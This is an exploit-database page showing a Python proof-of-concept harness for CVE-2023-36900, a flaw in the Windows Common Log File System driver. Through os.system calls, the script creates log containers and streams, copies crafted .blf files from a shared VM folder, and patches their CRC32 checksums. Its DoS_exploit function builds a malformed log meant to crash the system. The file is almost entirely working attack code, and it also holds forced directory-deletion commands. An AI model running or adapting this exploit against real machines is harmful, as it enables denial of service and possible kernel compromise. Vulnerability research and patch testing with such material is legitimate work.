Exploit databaseDownload repository ZIP
GH-e64455760c456512044781416de59f41
romanrybachek/cve-2023-36900
Sources for CVE-2023-36900
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
romanrybachek/cve-2023-36900Revision 7b8ba2e10197
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/launch.py
Python · 2,659 bytesimport os
import sys
CUR_DIR = "C:\\Users\\Bill\\Desktop\\clfs\\"
SHARED_FOLDER = "Z:\\"
LOG_FOLDER = "log_files\\"
LOG_NAME = "log1::s1"
LOG_FILE = "log1.blf"
# LOG_NAME = sys.argv[2]
FOLDER_FOR_COPY = "log_copy\\"
UTILS_FOLDER = "utils\\"
VM_LOG_PATH_ABSOLUTE = CUR_DIR + LOG_FOLDER + LOG_NAME
VM_LOG_PATH_RELATIVE = LOG_FOLDER + LOG_NAME
LOG_NAME_WITH_EXT = LOG_NAME + ".blf"
MOD_LOG_NAME = LOG_NAME + "_updated.blf"
HOST_LOGCOPY_FOLDER = SHARED_FOLDER + FOLDER_FOR_COPY
HOST_PAYLOAD = SHARED_FOLDER + "payload.blf"
HOST_PAYLOAD_UPDATED = SHARED_FOLDER + "payload_updated.blf"
UPDATE_CRC32_COMMAND = "py update_crc32.py "
UPDATE_CRC32_END = " -patch"
if len(sys.argv) < 2:
print("Usage: python launch.py c|o|g|i|w")
exit(1)
def update_and_copy(options):
os.system("py update_crc32.py Z:\\log_copy\\log1.blf " + options)
os.system("copy /Y Z:\\log_copy\\log1_updated.blf log_files\\log1.blf")
def create_log(log_name):
os.system("rmdir /S /Q log_files")
os.system("mkdir log_files")
os.system("create_log_with_container.exe log_files\\" + log_name)
def create_stream(log_and_stream_name):
os.system("create_stream.exe log_files\\" + log_and_stream_name)
def open_log(log_name):
os.system("open_log.exe log_files\\" + log_name)
def get_log():
os.system("rmdir /S /Q Z:\\log_copy")
os.system("mkdir Z:\\log_copy")
os.system("copy /Y log_files Z:\\log_copy")
def copy_utilities():
os.system("copy /Y Z:\\utils\\create_log_with_container.exe ." )
os.system("copy /Y Z:\\utils\\open_log.exe ." )
os.system("copy /Y Z:\\utils\\create_stream.exe ." )
os.system("copy /Y Z:\\utils\\update_crc32.py ." )
def patch():
create_log("log1::s1")
get_log()
update_and_copy("-patch")
create_stream("log1::s2")
def DoS_exploit():
os.system("mkdir DoS_poc")
os.system("create_stream.exe DoS_poc\\DoS_log::stream1")
os.system("py update_crc32.py DoS_poc\\DoS_log.blf -DoS")
os.system("move /Y DoS_poc\\DoS_log_updated.blf DoS_poc\\DoS_log.blf")
os.system("create_stream.exe DoS_poc\\DoS_log::stream2")
if sys.argv[1] == 'c' and len(sys.argv) >= 3: #get
create_log(sys.argv[2])
if sys.argv[1] == 's' and len(sys.argv) >= 3: #get
create_stream(sys.argv[2])
if sys.argv[1] == 'o' and len(sys.argv) >= 3: #get
open_log(sys.argv[2])
if sys.argv[1] =="g": #get
get_log()
if sys.argv[1] == "ut": #utils
copy_utilities()
if sys.argv[1] == "up": #utils
options = ""
for i in range(2, len(sys.argv)):
options += " " + sys.argv[i]
update_and_copy(options)
if sys.argv[1] == "p":
patch()
if sys.argv[1] == "DoS":
DoS_exploit()